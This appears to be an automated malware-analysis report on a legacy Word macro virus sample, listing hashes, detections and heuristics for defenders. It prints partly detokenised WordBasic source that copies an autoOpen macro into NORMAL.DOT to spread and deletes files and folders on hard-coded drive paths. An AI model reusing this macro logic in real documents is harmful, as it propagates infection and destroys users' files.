Win.Trojan.Wazzu-28 — Office (OLE) malware analysis

Static analysis result for SHA-256 453478a7a1e3dd89…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 071b03eab8720d39eb992d85cf519d26 SHA-1: 3bee499e68621f982fed58721d9281b7b1d2e13a SHA-256: 453478a7a1e3dd897eb23954b0c25a65270e00b581aa185b85aae1845daadac0
102 Risk Score

Malware Insights

Win.Trojan.Wazzu-28 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers and is explicitly identified as a "RSN MACRO VIRUS Goat file" in its document body. ClamAV detection confirms it as Win.Trojan.Wazzu-28. The presence of macro-related strings and the explicit mention of "RSN MACRO VIRUS" strongly indicate a malicious macro-based attack designed for propagation.

Heuristics 3

  • ClamAV: Win.Trojan.Wazzu-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Wazzu-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 579 bytes
SHA-256: 73440ea3e12cac2dd4e5525da6afa2dc331cf4a762bbb62f222b28ef35fb853d
Preview script
First 1,000 lines of the extracted script
8300   ,  
    10272 25199 8233 29793  
      24933 8300
MAIN
, - * errCaught
rightNow = @cmd8101
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$
rightNow
PowerPlay
* bye @cmd7468
, - * 0
PowerPlay
, -
@cmd80ab "F:\8_CLOCKS\*.*"
@cmd80ab * *
@cmd80ab "F:\UW\WQSB\*.*"
@cmd80ae "F:\8_CLOCKS"
@cmd80ae "F:\UW\UWBILL"
@cmd80ae "F:\UW\WQSB"
@cmd80ae "F:\UW"

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